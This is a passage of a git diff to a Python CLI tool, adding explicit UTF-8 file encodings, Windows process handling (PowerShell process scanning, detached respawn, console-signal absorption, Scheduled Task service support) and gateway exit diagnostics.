--type oauth` a one-tap operation for users who diff --git a/hermes_cli/backup.py b/hermes_cli/backup.py index dce199a5ab4..4237c678b19 100644 --- a/hermes_cli/backup.py +++ b/hermes_cli/backup.py @@ -573,7 +573,7 @@ def create_quick_snapshot( "total_size": sum(manifest.values()), "files": manifest, } - with open(snap_dir / "manifest.json", "w") as f: + with open(snap_dir / "manifest.json", "w", encoding="utf-8") as f: json.dump(meta, f, indent=2) # Auto-prune @@ -599,7 +599,7 @@ def list_quick_snapshots( manifest_path = d / "manifest.json" if manifest_path.exists(): try: - with open(manifest_path) as f: + with open(manifest_path, encoding="utf-8") as f: results.append(json.load(f)) except (json.JSONDecodeError, OSError): results.append({"id": d.name, "file_count": 0, "total_size": 0}) @@ -629,7 +629,7 @@ def restore_quick_snapshot( if not manifest_path.exists(): return False - with open(manifest_path) as f: + with open(manifest_path, encoding="utf-8") as f: meta = json.load(f) restored = 0 diff --git a/hermes_cli/config.py b/hermes_cli/config.py index 0ad82b6c6dd..6b4efc0fea1 100644 --- a/hermes_cli/config.py +++ b/hermes_cli/config.py @@ -221,7 +221,7 @@ def get_container_exec_info() -> Optional[dict]: try: info = {} - with open(container_mode_file, "r") as f: + with open(container_mode_file, "r", encoding="utf-8") as f: for line in f: line = line.strip() if "=" in line and not line.startswith("#"): @@ -306,7 +306,7 @@ def _is_container() -> bool: return True # LXC / cgroup-based detection try: - with open("/proc/1/cgroup", "r") as f: + with open("/proc/1/cgroup", "r", encoding="utf-8") as f: cgroup_content = f.read() if "docker" in cgroup_content or "lxc" in cgroup_content or "kubepods" in cgroup_content: return True @@ -3468,7 +3468,7 @@ def migrate_config(interactive: bool = True, quiet: bool = False) -> Dict[str, A if not manifest_file.exists(): continue try: - with open(manifest_file) as _mf: + with open(manifest_file, encoding="utf-8") as _mf: manifest = yaml.safe_load(_mf) or {} except Exception: manifest = {} @@ -4167,8 +4167,9 @@ def load_env() -> Dict[str, str]: if env_path.exists(): # On Windows, open() defaults to the system locale (cp1252) which can - # fail on UTF-8 .env files. Use explicit UTF-8 only on Windows. - open_kw = {"encoding": "utf-8", "errors": "replace"} if _IS_WINDOWS else {} + # fail on UTF-8 .env files. Always use explicit UTF-8; tolerate BOM + # via utf-8-sig since users may edit .env in Notepad which adds one. + open_kw = {"encoding": "utf-8-sig", "errors": "replace"} with open(env_path, **open_kw) as f: raw_lines = f.readlines() # Sanitize before parsing: split concatenated lines & drop stale @@ -4253,8 +4254,8 @@ def sanitize_env_file() -> int: if not env_path.exists(): return 0 - read_kw = {"encoding": "utf-8", "errors": "replace"} if _IS_WINDOWS else {} - write_kw = {"encoding": "utf-8"} if _IS_WINDOWS else {} + read_kw = {"encoding": "utf-8-sig", "errors": "replace"} + write_kw = {"encoding": "utf-8"} with open(env_path, **read_kw) as f: original_lines = f.readlines() @@ -4343,8 +4344,8 @@ def save_env_value(key: str, value: str): # On Windows, open() defaults to the system locale (cp1252) which can # cause OSError errno 22 on UTF-8 .env files. - read_kw = {"encoding": "utf-8", "errors": "replace"} if _IS_WINDOWS else {} - write_kw = {"encoding": "utf-8"} if _IS_WINDOWS else {} + read_kw = {"encoding": "utf-8-sig", "errors": "replace"} + write_kw = {"encoding": "utf-8"} lines = [] if env_path.exists(): @@ -4413,8 +4414,8 @@ def remove_env_value(key: str) -> bool: os.environ.pop(key, None) return False - read_kw = {"encoding": "utf-8", "errors": "replace"} if _IS_WINDOWS else {} - write_kw = {"encoding": "utf-8"} if _IS_WINDOWS else {} + read_kw = {"encoding": "utf-8-sig", "errors": "replace"} + write_kw = {"encoding": "utf-8"} with open(env_path, **read_kw) as f: lines = f.readlines() @@ -4715,11 +4716,19 @@ def edit_config(): # Find editor editor = os.getenv('EDITOR') or os.getenv('VISUAL') - + if not editor: - # Try common editors - for cmd in ['nano', 'vim', 'vi', 'code', 'notepad']: - import shutil + # Try common editors — order is platform-aware so Windows users + # land on a working editor (notepad) even without Git Bash or nano + # installed. On POSIX, prefer nano/vim over code/notepad because + # it's more likely to be present on headless / server systems. + import shutil + import sys as _sys + if _sys.platform == "win32": + candidates = ['notepad', 'code', 'vim', 'vi', 'nano'] + else: + candidates = ['nano', 'vim', 'vi', 'code', 'notepad'] + for cmd in candidates: if shutil.which(cmd): editor = cmd break diff --git a/hermes_cli/doctor.py b/hermes_cli/doctor.py index 09a0976ac55..2b66318487f 100644 --- a/hermes_cli/doctor.py +++ b/hermes_cli/doctor.py @@ -598,7 +598,7 @@ def run_doctor(args): # Detect stale root-level model keys (known bug source — PR #4329) try: import yaml - with open(config_path) as f: + with open(config_path, encoding="utf-8") as f: raw_config = yaml.safe_load(f) or {} stale_root_keys = [k for k in ("provider", "base_url") if k in raw_config and isinstance(raw_config[k], str)] if stale_root_keys: @@ -1035,10 +1035,13 @@ def run_doctor(args): check_ok("Node.js") # Check if agent-browser is installed agent_browser_path = PROJECT_ROOT / "node_modules" / "agent-browser" + agent_browser_ok = False if agent_browser_path.exists(): check_ok("agent-browser (Node.js)", "(browser automation)") + agent_browser_ok = True elif shutil.which("agent-browser"): check_ok("agent-browser", "(browser automation)") + agent_browser_ok = True else: if _is_termux(): check_info("agent-browser is not installed (expected in the tested Termux path)") @@ -1048,6 +1051,56 @@ def run_doctor(args): check_info(step) else: check_warn("agent-browser not installed", "(run: npm install)") + + # Chromium presence — the browser tools silently fail to register when + # agent-browser is found but no Playwright-managed Chromium is on disk + # (tools/browser_tool.py::check_browser_requirements filters them out + # before the agent ever sees them). Reuse the exact predicate it uses + # so the two checks cannot diverge. Skip on Termux (not a tested + # path). + if agent_browser_ok and not _is_termux(): + try: + # Lazy import: browser_tool is a ~150KB module we don't want + # to eagerly load in every `hermes doctor` invocation. + from tools.browser_tool import ( + _chromium_installed, + _is_camofox_mode, + _get_cloud_provider, + _get_cdp_override, + _using_lightpanda_engine, + ) + except Exception: + # If browser_tool can't even import, that's a separate bug + # surfaced elsewhere; don't crash doctor. + pass + else: + # Only warn about Chromium if the installed engine actually + # requires it: Camofox, CDP override, a cloud provider, or + # Lightpanda all bypass the local Chromium requirement. + skip_chromium_check = ( + _is_camofox_mode() + or bool(_get_cdp_override()) + or _get_cloud_provider() is not None + or _using_lightpanda_engine() + ) + if not skip_chromium_check: + if _chromium_installed(): + check_ok("Playwright Chromium", "(browser engine)") + else: + check_warn( + "Playwright Chromium not installed", + "(browser_* tools will be hidden from the agent)", + ) + if sys.platform == "win32": + check_info( + f"Install with: cd {PROJECT_ROOT} && " + "npx playwright install chromium" + ) + else: + check_info( + f"Install with: cd {PROJECT_ROOT} && " + "npx playwright install --with-deps chromium" + ) else: if _is_termux(): check_info("Node.js not found (browser tools are optional in the tested Termux path)") @@ -1059,7 +1112,8 @@ def run_doctor(args): check_warn("Node.js not found", "(optional, needed for browser tools)") # npm audit for all Node.js packages - if _safe_which("npm"): + _npm_bin = _safe_which("npm") + if _npm_bin: npm_dirs = [ (PROJECT_ROOT, "Browser tools (agent-browser)"), (PROJECT_ROOT / "scripts" / "whatsapp-bridge", "WhatsApp bridge"), @@ -1068,8 +1122,10 @@ def run_doctor(args): if not (npm_dir / "node_modules").exists(): continue try: + # Use resolved absolute path so Windows can execute + # npm.cmd (CreateProcessW can't run bare .cmd names). audit_result = subprocess.run( - ["npm", "audit", "--json"], + [_npm_bin, "audit", "--json"], cwd=str(npm_dir), capture_output=True, text=True, timeout=30, ) @@ -1403,7 +1459,7 @@ def run_doctor(args): import yaml as _yaml _mem_cfg_path = HERMES_HOME / "config.yaml" if _mem_cfg_path.exists(): - with open(_mem_cfg_path) as _f: + with open(_mem_cfg_path, encoding="utf-8") as _f: _raw_cfg = _yaml.safe_load(_f) or {} _active_memory_provider = (_raw_cfg.get("memory") or {}).get("provider", "") except Exception: diff --git a/hermes_cli/env_loader.py b/hermes_cli/env_loader.py index 61824672c07..8040b73eb54 100644 --- a/hermes_cli/env_loader.py +++ b/hermes_cli/env_loader.py @@ -113,7 +113,7 @@ def _sanitize_env_file_if_needed(path: Path) -> None: except ImportError: return # early bootstrap — config module not available yet - read_kw = {"encoding": "utf-8", "errors": "replace"} + read_kw = {"encoding": "utf-8-sig", "errors": "replace"} try: with open(path, **read_kw) as f: original = f.readlines() diff --git a/hermes_cli/gateway.py b/hermes_cli/gateway.py index 5f95d0c204d..9b851d99f13 100644 --- a/hermes_cli/gateway.py +++ b/hermes_cli/gateway.py @@ -131,9 +131,26 @@ def _get_service_pids() -> set: def _get_parent_pid(pid: int) -> int | None: - """Return the parent PID for ``pid``, or ``None`` when unavailable.""" + """Return the parent PID for ``pid``, or ``None`` when unavailable. + + Uses psutil (core dependency) which works on every platform. The + older implementation shelled out to ``ps -o ppid= -p ``, which + silently fails on Windows (no ``ps``) so the ancestor walk terminated + at self — the caller's dedup / exclude logic then couldn't distinguish + "hermes CLI that invoked this scan" from "real gateway process". + """ if pid <= 1: return None + try: + import psutil # type: ignore + return psutil.Process(pid).ppid() or None + except ImportError: + pass + except Exception: + return None + # Fallback: shell out to ps (POSIX only — bare ``ps`` doesn't exist on Windows). + if not shutil.which("ps"): + return None try: result = subprocess.run( ["ps", "-o", "ppid=", "-p", str(pid)], @@ -177,7 +194,7 @@ def _request_gateway_self_restart(pid: int) -> bool: if not _is_pid_ancestor_of_current_process(pid): return False try: - os.kill(pid, signal.SIGUSR1) + os.kill(pid, signal.SIGUSR1) # windows-footgun: ok — POSIX signal, guarded by hasattr(signal, 'SIGUSR1') above except (ProcessLookupError, PermissionError, OSError): return False return True @@ -213,7 +230,7 @@ def _graceful_restart_via_sigusr1(pid: int, drain_timeout: float) -> bool: if pid <= 0: return False try: - os.kill(pid, signal.SIGUSR1) + os.kill(pid, signal.SIGUSR1) # windows-footgun: ok — POSIX signal, guarded by hasattr(signal, 'SIGUSR1') above except ProcessLookupError: # Already gone — nothing to drain. return True @@ -223,15 +240,16 @@ def _graceful_restart_via_sigusr1(pid: int, drain_timeout: float) -> bool: import time as _time deadline = _time.monotonic() + max(drain_timeout, 1.0) + # IMPORTANT Windows note: ``os.kill(pid, 0)`` is NOT a no-op on + # Windows — Python's implementation calls ``TerminateProcess(handle, 0)`` + # for sig=0, hard-killing the target. Use the cross-platform + # ``_pid_exists`` helper in gateway.status which does OpenProcess + + # WaitForSingleObject on Windows. + from gateway.status import _pid_exists + while _time.monotonic() < deadline: - try: - os.kill(pid, 0) # signal 0 — probe liveness - except ProcessLookupError: + if not _pid_exists(pid): return True - except PermissionError: - # Process still exists but we can't signal it. Treat as alive - # so the caller falls back. - pass _time.sleep(0.5) # Drain didn't finish in time. return False @@ -299,6 +317,11 @@ def _scan_gateway_pids(exclude_pids: set[int], all_profiles: bool = False) -> li or f"HERMES_HOME={current_home}" in command ) + # Default-profile case: no profile flag in argv. Accept as long as + # the command doesn't advertise *some other* profile. HERMES_HOME + # may be passed via env (not visible in wmic/CIM command line) so + # its absence is NOT disqualifying — only a non-matching explicit + # HERMES_HOME= in argv is. if "--profile " in command or " -p " in command: return False if "HERMES_HOME=" in command and f"HERMES_HOME={current_home}" not in command: @@ -307,14 +330,52 @@ def _scan_gateway_pids(exclude_pids: set[int], all_profiles: bool = False) -> li try: if is_windows(): - result = subprocess.run( - ["wmic", "process", "get", "ProcessId,CommandLine", "/FORMAT:LIST"], - capture_output=True, - text=True, - encoding="utf-8", - errors="ignore", - timeout=10, - ) + # Prefer wmic when present (fast, stable output format). On + # modern Windows 11 / Win 10 late builds, wmic has been + # removed as part of the WMIC deprecation — fall back to + # PowerShell's Get-CimInstance. Any OSError here (FileNotFoundError + # on missing wmic) trips the fallback. + wmic_path = shutil.which("wmic") + used_fallback = False + result = None + if wmic_path is not None: + try: + result = subprocess.run( + [wmic_path, "process", "get", "ProcessId,CommandLine", "/FORMAT:LIST"], + capture_output=True, + text=True, + encoding="utf-8", + errors="ignore", + timeout=10, + ) + except (OSError, subprocess.TimeoutExpired): + result = None + if result is None or result.returncode != 0 or not (result.stdout or ""): + # Fallback: PowerShell Get-CimInstance, emit LIST-style output + # so the downstream parser below doesn't need to branch. + powershell = shutil.which("powershell") or shutil.which("pwsh") + if powershell is None: + return [] + ps_cmd = ( + "Get-CimInstance Win32_Process | " + "ForEach-Object { " + " 'CommandLine=' + ($_.CommandLine -replace \"`r`n\",' ' -replace \"`n\",' '); " + " 'ProcessId=' + $_.ProcessId; " + " '' " + "}" + ) + try: + result = subprocess.run( + [powershell, "-NoProfile", "-Command", ps_cmd], + capture_output=True, + text=True, + encoding="utf-8", + errors="ignore", + timeout=15, + ) + except (OSError, subprocess.TimeoutExpired): + return [] + used_fallback = True if result.returncode != 0 or result.stdout is None: return [] current_cmd = "" @@ -372,9 +433,53 @@ def _scan_gateway_pids(exclude_pids: set[int], all_profiles: bool = False) -> li except (OSError, subprocess.TimeoutExpired): return [] + # Windows-specific: collapse venv launcher stubs. A venv-built + # ``pythonw.exe`` in ``/Scripts/`` is a ~100 KB launcher exe + # that spawns the base Python (e.g. ``C:\Program Files\Python311\ + # pythonw.exe``) with the same command line, preserving the venv's + # ``pyvenv.cfg`` context. This is standard Windows CPython venv + # behaviour — BUT it means every gateway run produces two pythonw + # PIDs with identical command lines (one launcher stub, one actual + # interpreter) which is confusing in ``gateway status`` output. + # Filter the stub: if a PID in our result is the PARENT of another + # PID in our result, and both are pythonw.exe, the parent is the + # launcher stub — drop it, keep the child. + if is_windows() and len(pids) > 1: + pids = _filter_venv_launcher_stubs(pids) + return pids +def _filter_venv_launcher_stubs(pids: list[int]) -> list[int]: + """Drop venv-launcher ``pythonw.exe`` stubs that are parents of the real + interpreter process. See comment at the tail of ``_scan_gateway_pids``. + + Uses ``psutil`` (core dependency). Safe on any platform; only invoked + on Windows by the caller because the stub pattern is Windows-specific. + """ + try: + import psutil # type: ignore + except ImportError: + return pids + + pid_set = set(pids) + # Collect each PID's parent so we can flag "child of another matched PID". + parent_of: dict[int, int | None] = {} + for pid in pids: + try: + parent_of[pid] = psutil.Process(pid).ppid() + except (psutil.NoSuchProcess, psutil.AccessDenied): + parent_of[pid] = None + + # For each child whose parent is also in our set, drop the parent. + drop: set[int] = set() + for pid, ppid in parent_of.items(): + if ppid is not None and ppid in pid_set: + drop.add(ppid) + + return [p for p in pids if p not in drop] + + def find_gateway_pids(exclude_pids: set | None = None, all_profiles: bool = False) -> list: """Find PIDs of running gateway processes. @@ -441,6 +546,25 @@ def launch_detached_profile_gateway_restart(profile: str, old_pid: int) -> bool: if old_pid <= 0: return False + # The watcher is a tiny Python subprocess that polls the old PID and + # respawns the gateway once it's gone. Both legs of the chain need + # platform-appropriate detach semantics: + # + # POSIX — ``start_new_session=True`` (os.setsid in the child) detaches + # from the parent's process group so Ctrl+C in the CLI doesn't + # propagate and the watcher/gateway survive the CLI exiting. + # + # Windows — ``start_new_session`` is silently accepted but does NOT + # detach. The watcher stays attached to the CLI's console and dies + # when the user closes the terminal, leaving ``hermes update`` users + # with no running gateway until they re-invoke ``hermes gateway`` + # manually. The Win32 equivalent is the ``CREATE_NEW_PROCESS_GROUP | + # DETACHED_PROCESS | CREATE_NO_WINDOW`` creationflags bundle. + # + # ``windows_detach_popen_kwargs()`` returns the right kwargs for the + # host platform and is a no-op on POSIX (just ``start_new_session=True``). + from hermes_cli._subprocess_compat import windows_detach_popen_kwargs + watcher = textwrap.dedent( """ import os @@ -452,28 +576,41 @@ def launch_detached_profile_gateway_restart(profile: str, old_pid: int) -> bool: cmd = sys.argv[2:] deadline = time.monotonic() + 120 while time.monotonic() < deadline: - try: - os.kill(pid, 0) - except ProcessLookupError: + # ``os.kill(pid, 0)`` is not a no-op on Windows — use the + # cross-platform existence check. + from gateway.status import _pid_exists + if not _pid_exists(pid): break - except PermissionError: - pass time.sleep(0.2) - subprocess.Popen( - cmd, - stdout=subprocess.DEVNULL, - stderr=subprocess.DEVNULL, - start_new_session=True, - ) + + # Platform-appropriate detach for the respawned gateway. On POSIX + # start_new_session=True maps to os.setsid; on Windows we need + # explicit creationflags because start_new_session is a no-op there. + _popen_kwargs = { + "stdout": subprocess.DEVNULL, + "stderr": subprocess.DEVNULL, + } + if sys.platform == "win32": + _CREATE_NEW_PROCESS_GROUP = 0x00000200 + _DETACHED_PROCESS = 0x00000008 + _CREATE_NO_WINDOW = 0x08000000 + _popen_kwargs["creationflags"] = ( + _CREATE_NEW_PROCESS_GROUP | _DETACHED_PROCESS | _CREATE_NO_WINDOW + ) + else: + _popen_kwargs["start_new_session"] = True + subprocess.Popen(cmd, **_popen_kwargs) """ ).strip() try: + # Same platform-aware detach for the watcher process itself — so + # closing the user's terminal doesn't kill the watcher. subprocess.Popen( [sys.executable, "-c", watcher, str(old_pid), *_gateway_run_args_for_profile(profile)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, - start_new_session=True, + **windows_detach_popen_kwargs(), ) except OSError: return False @@ -929,14 +1066,14 @@ def stop_profile_gateway() -> bool: print(f"⚠ Permission denied to kill PID {pid}") return False - # Wait briefly for it to exit + # Wait briefly for it to exit. On Windows, os.kill(pid, 0) is NOT + # a no-op — route through the cross-platform existence check. import time as _time + from gateway.status import _pid_exists for _ in range(20): - try: - os.kill(pid, 0) - _time.sleep(0.5) - except (ProcessLookupError, PermissionError): + if not _pid_exists(pid): break + _time.sleep(0.5) if get_running_pid() is None: remove_pid_file() @@ -1120,13 +1257,13 @@ class SystemScopeRequiresRootError(RuntimeError): def _user_dbus_socket_path() -> Path: """Return the expected per-user D-Bus socket path (regardless of existence).""" - xdg = os.environ.get("XDG_RUNTIME_DIR") or f"/run/user/{os.getuid()}" + xdg = os.environ.get("XDG_RUNTIME_DIR") or f"/run/user/{os.getuid()}" # windows-footgun: ok — POSIX systemd helper, never invoked on Windows return Path(xdg) / "bus" def _user_systemd_private_socket_path() -> Path: """Return the per-user systemd private socket path (regardless of existence).""" - xdg = os.environ.get("XDG_RUNTIME_DIR") or f"/run/user/{os.getuid()}" + xdg = os.environ.get("XDG_RUNTIME_DIR") or f"/run/user/{os.getuid()}" # windows-footgun: ok — POSIX systemd helper, never invoked on Windows return Path(xdg) / "systemd" / "private" @@ -1149,7 +1286,7 @@ def _ensure_user_systemd_env() -> None: We detect the standard socket path and set the vars so all subsequent subprocess calls inherit them. """ - uid = os.getuid() + uid = os.getuid() # windows-footgun: ok — POSIX systemd helper, never invoked on Windows if "XDG_RUNTIME_DIR" not in os.environ: runtime_dir = f"/run/user/{uid}" if Path(runtime_dir).exists(): @@ -1215,7 +1352,7 @@ def _preflight_user_systemd(*, auto_enable_linger: bool = True) -> None: username, reason="User systemd control sockets are missing even though linger is enabled.", fix_hint=( - f" systemctl start user@{os.getuid()}.service\n" + f" systemctl start user@{os.getuid()}.service\n" # windows-footgun: ok — POSIX systemd helper, never invoked on Windows " (may require sudo; try again after the command succeeds)" ), ) @@ -1485,7 +1622,7 @@ def remove_legacy_hermes_units( # System-scope removal (needs root) if system_units: - if os.geteuid() != 0: + if os.geteuid() != 0: # windows-footgun: ok — Linux systemd removal path, guarded by `if system == "Linux"` / systemd-only branch print() print_warning("System-scope legacy units require root to remove.") print_info(" Re-run with: sudo hermes gateway migrate-legacy") @@ -1532,7 +1669,7 @@ def print_systemd_scope_conflict_warning() -> None: def _require_root_for_system_service(action: str) -> None: - if os.geteuid() != 0: + if os.geteuid() != 0: # windows-footgun: ok — POSIX systemd helper, never invoked on Windows raise SystemScopeRequiresRootError( f"System gateway {action} requires root. Re-run with sudo.", action, @@ -1600,7 +1737,7 @@ def install_linux_gateway_from_setup(force: bool = False) -> tuple[str | None, b if scope == "system": run_as_user = _default_system_service_user() - if os.geteuid() != 0: + if os.geteuid() != 0: # windows-footgun: ok — Linux systemd install wizard, never invoked on Windows print_warning(" System service install requires sudo, so Hermes can't create it from this user session.") if run_as_user: print_info(f" After setup, run: sudo hermes gateway install --system --run-as-user {run_as_user}") @@ -1644,7 +1781,7 @@ def get_systemd_linger_status() -> tuple[bool | None, str]: if not username: try: import pwd - username = pwd.getpwuid(os.getuid()).pw_name + username = pwd.getpwuid(os.getuid()).pw_name # windows-footgun: ok — POSIX loginctl helper, never invoked on Windows except Exception: return None, "could not determine current user" @@ -1694,7 +1831,7 @@ def _launchd_user_home() -> Path: """ import pwd - return Path(pwd.getpwuid(os.getuid()).pw_dir) + return Path(pwd.getpwuid(os.getuid()).pw_dir) # windows-footgun: ok — POSIX launchd (macOS) helper, never invoked on Windows def get_launchd_plist_path() -> Path: @@ -2093,7 +2230,7 @@ def _system_scope_wizard_would_need_root(system: bool = False) -> bool: ``SystemScopeRequiresRootError`` propagate out and leave the user staring at a bare shell. """ - if os.geteuid() == 0: + if os.geteuid() == 0: # windows-footgun: ok — systemd scope wizard decision, never invoked on Windows return False return _select_systemd_scope(system=system) @@ -2250,7 +2387,15 @@ def systemd_stop(system: bool = False): write_planned_stop_marker(pid) except Exception: pass - _run_systemctl(["stop", get_service_name()], system=system, check=True, timeout=90) + try: + _run_systemctl(["stop", get_service_name()], system=system, check=True, timeout=90) + except subprocess.TimeoutExpired: + label = _service_scope_label(system) + print( + f"Gateway {label} service is still stopping after 90s; " + "check `hermes gateway status` or logs for final shutdown state." + ) + return print(f"✓ {_service_scope_label(system).capitalize()} service stopped") @@ -2311,6 +2456,13 @@ def systemd_restart(system: bool = False): _print_systemd_start_limit_wait(system=system) return raise + except subprocess.TimeoutExpired: + label = _service_scope_label(system) + print( + f"Gateway {label} service is still restarting after 90s; " + "check `hermes gateway status` or logs for final state." + ) + return _wait_for_systemd_service_restart(system=system, previous_pid=pid) return @@ -2330,6 +2482,13 @@ def systemd_restart(system: bool = False): _print_systemd_start_limit_wait(system=system) return raise + except subprocess.TimeoutExpired: + label = _service_scope_label(system) + print( + f"Gateway {label} service is still restarting after 90s; " + "check `hermes gateway status` or logs for final state." + ) + return _wait_for_systemd_service_restart(system=system, previous_pid=pid) @@ -2444,7 +2603,7 @@ def get_launchd_label() -> str: def _launchd_domain() -> str: - return f"gui/{os.getuid()}" + return f"gui/{os.getuid()}" # windows-footgun: ok — POSIX launchd (macOS) helper, never invoked on Windows def generate_launchd_plist() -> str: @@ -2819,6 +2978,62 @@ def run_gateway(verbose: int = 0, quiet: bool = False, replace: bool = False): _guard_official_docker_root_gateway() sys.path.insert(0, str(PROJECT_ROOT)) + # On Windows, when the gateway is launched as a detached background + # process (via ``hermes gateway install`` → Scheduled Task / Startup + # folder / direct pythonw.exe spawn) there is no console attached. In + # that case Windows can still deliver CTRL_C_EVENT / CTRL_BREAK_EVENT + # to the process group under some circumstances (e.g. when *another* + # process in the same group sends one), which Python 3.11 translates + # into KeyboardInterrupt inside asyncio.run(). The outer handler below + # catches that and exits cleanly — silently killing the gateway. On + # detached boots we must absorb those spurious signals so the gateway + # stays alive; real user Ctrl+C still comes through prompt_toolkit / + # the asyncio signal handler when running in a real console. + # + # IMPORTANT lesson (May 2026): we originally gated this on "stdin is + # NOT a TTY" assuming only detached pythonw runs would be vulnerable. + # Wrong. When the user runs `hermes gateway start` from a PowerShell + # console, the gateway inherits that console and stdin IS a TTY — + # but it's STILL vulnerable to CTRL_C_EVENT broadcast by any sibling + # `hermes` invocation (like `hermes gateway status` 30 seconds later) + # because Windows routes console events to all processes sharing the + # console. Every hermes CLI process after that sibling fires is a + # potential drive-by killer. So on Windows, for `gateway run` + # specifically (never interactive by design), always install the + # SIGINT absorber regardless of TTY state. + try: + _stdin_is_tty = bool(sys.stdin and sys.stdin.isatty()) + except (ValueError, OSError): + _stdin_is_tty = False + if is_windows(): + try: + signal.signal(signal.SIGINT, signal.SIG_IGN) + if hasattr(signal, "SIGBREAK"): + signal.signal(signal.SIGBREAK, signal.SIG_IGN) + except (OSError, ValueError): + # SetConsoleCtrlHandler not available (rare on Windows) — + # best-effort, proceed either way. + pass + # Python's signal module only hooks SIGINT/SIGBREAK. To also + # absorb CTRL_CLOSE_EVENT / CTRL_LOGOFF_EVENT and any other + # console control signals Windows may broadcast to the console + # process group, call the native SetConsoleCtrlHandler(NULL, TRUE) + # — this tells the kernel to IGNORE all console control events + # for this process entirely, which is what background services + # are supposed to do. Belt-and-braces over the Python-level + # handlers above. + try: + import ctypes + kernel32 = ctypes.windll.kernel32 # type: ignore[attr-defined] + # BOOL SetConsoleCtrlHandler(NULL, Add) — Add=TRUE means + # "install the NULL handler", which has the documented + # effect of ignoring Ctrl+C. Called twice for defense in + # depth: once before any Python import could have flipped + # our disposition, once as our last word. + kernel32.SetConsoleCtrlHandler(None, 1) + except (OSError, AttributeError): + pass + # Refresh the systemd unit definition on every boot so that restart # settings (RestartSec, StartLimitIntervalSec, etc.) stay current even # when the process was respawned via exit-code-75 (stale-code or @@ -2846,13 +3061,86 @@ def run_gateway(verbose: int = 0, quiet: bool = False, replace: bool = False): # Exit with code 1 if gateway fails to connect any platform, # so systemd Restart=always will retry on transient errors verbosity = None if quiet else verbose + + # ── Exit-path diagnostics ──────────────────────────────────────────── + # When the gateway dies silently on Windows (no shutdown log, no + # traceback in gateway.log / errors.log), we're usually blind to the + # cause. The code below captures *every* way the asyncio.run() call + # below can return, with full context dumped to a dedicated log so + # the next silent death yields evidence instead of a mystery. This + # is diagnostic scaffolding; cheap to keep on, costs nothing during + # normal operation, and the emitted lines are opt-in via the + # HERMES_GATEWAY_EXIT_DIAG env var (default: on while we're still + # chasing the Windows lifecycle bug). + import atexit as _atexit + import traceback as _traceback + from datetime import datetime as _dt, timezone as _tz + + def _exit_diag(tag: str, **extra: object) -> None: + if os.environ.get("HERMES_GATEWAY_EXIT_DIAG", "1") != "1": + return + try: + from hermes_constants import get_hermes_home as _ghh + log_dir = _ghh() / "logs" + log_dir.mkdir(parents=True, exist_ok=True) + ts = _dt.now(_tz.utc).isoformat() + line = { + "ts": ts, + "tag": tag, + "pid": os.getpid(), + "python": sys.version.split()[0], + "platform": sys.platform, + **extra, + } + import json as _json + with open(log_dir / "gateway-exit-diag.log", "a", encoding="utf-8") as f: + f.write(_json.dumps(line, default=str) + "\n") + except Exception: + pass # never let the diagnostic itself crash the gateway + + _exit_diag( + "gateway.start", + replace=replace, + argv=sys.argv, + stdin_is_tty=_stdin_is_tty, + ) + + def _atexit_hook() -> None: + _exit_diag("atexit.hook", sys_exc=repr(sys.exc_info())) + + _atexit.register(_atexit_hook) + + success = False try: success = asyncio.run(start_gateway(replace=replace, verbosity=verbosity)) + _exit_diag("asyncio.run.returned", success=success) except KeyboardInterrupt: + # On Windows-detached runs this shouldn't fire (we absorb SIGINT above), + # but keep the handler for console runs. + _exit_diag( + "asyncio.run.KeyboardInterrupt", + traceback=_traceback.format_exc(), + ) print("\nGateway stopped.") return + except SystemExit as e: + _exit_diag("asyncio.run.SystemExit", code=getattr(e, "code", None), + traceback=_traceback.format_exc()) + raise + except BaseException as e: + # Absolutely everything else: Exception, asyncio.CancelledError, + # even exotic BaseException subclasses. We want the cause logged. + _exit_diag( + "asyncio.run.exception", + exc_type=type(e).__name__, + exc_repr=repr(e), + traceback=_traceback.format_exc(), + ) + raise if not success: + _exit_diag("gateway.exit_nonzero") sys.exit(1) + _exit_diag("gateway.exit_clean") # ============================================================================= @@ -3700,6 +3988,9 @@ def _is_service_installed() -> bool: return get_systemd_unit_path(system=False).exists() or get_systemd_unit_path(system=True).exists() elif is_macos(): return get_launchd_plist_path().exists() + elif is_windows(): + from hermes_cli import gateway_windows + return gateway_windows.is_installed() return False @@ -3741,6 +4032,12 @@ def _is_service_running() -> bool: return result.returncode == 0 except subprocess.TimeoutExpired: return False + elif is_windows(): + from hermes_cli import gateway_windows + if gateway_windows.is_installed(): + # "installed" doesn't necessarily mean "running" on Windows. The + # canonical check is whether a gateway process actually exists. + return len(find_gateway_pids()) > 0 # Check for manual processes return len(find_gateway_pids()) > 0 @@ -4442,6 +4739,9 @@ def gateway_setup(): systemd_restart() elif is_macos(): launchd_restart() + elif is_windows(): + from hermes_cli import gateway_windows + gateway_windows.restart() else: stop_profile_gateway() print_info("Start manually: hermes gateway") @@ -4463,6 +4763,9 @@ def gateway_setup(): systemd_start() elif is_macos(): launchd_start() + elif is_windows(): + from hermes_cli import gateway_windows + gateway_windows.start() except UserSystemdUnavailableError as e: print_error(" Start failed — user systemd not reachable:") for line in str(e).splitlines(): @@ -4474,20 +4777,34 @@ def gateway_setup(): print_error(f" Start failed: {e}") else: print() - if supports_systemd_services() or is_macos(): - platform_name = "systemd" if supports_systemd_services() else "launchd" + if supports_systemd_services() or is_macos() or is_windows(): + if supports_systemd_services(): + platform_name = "systemd" + elif is_macos(): + platform_name = "launchd" + else: + platform_name = "Scheduled Task" wsl_note = " (note: services may not survive WSL restarts)" if is_wsl() else "" if prompt_yes_no(f" Install the gateway as a {platform_name} service?{wsl_note} (runs in background, starts on boot)", True): try: installed_scope = None did_install = False + started_inline = False if supports_systemd_services(): installed_scope, did_install = install_linux_gateway_from_setup(force=False) - else: + elif is_macos(): launchd_install(force=False) did_install = True + else: + # gateway_windows.install() registers the Scheduled + # Task AND starts it (schtasks /Run or direct-spawn + # fallback), so no separate start prompt is needed. + from hermes_cli import gateway_windows + gateway_windows.install(force=False) + did_install = True + started_inline = True print() - if did_install and prompt_yes_no(" Start the service now?", True): + if did_install and not started_inline and prompt_yes_no(" Start the service now?", True): try: if supports_systemd_services(): systemd_start(system=installed_scope == "system") @@ -4589,6 +4906,9 @@ def _gateway_command_inner(args): systemd_install(force=force, system=system, run_as_user=run_as_user) elif is_macos(): launchd_install(force) + elif is_windows(): + from hermes_cli import gateway_windows + gateway_windows.install(force=force) elif is_wsl(): print("WSL detected but systemd is not running.") print("Either enable systemd (add systemd=true to /etc/wsl.conf and restart WSL)") @@ -4625,6 +4945,9 @@ def _gateway_command_inner(args): systemd_uninstall(system=system) elif is_macos(): launchd_uninstall() + elif is_windows(): + from 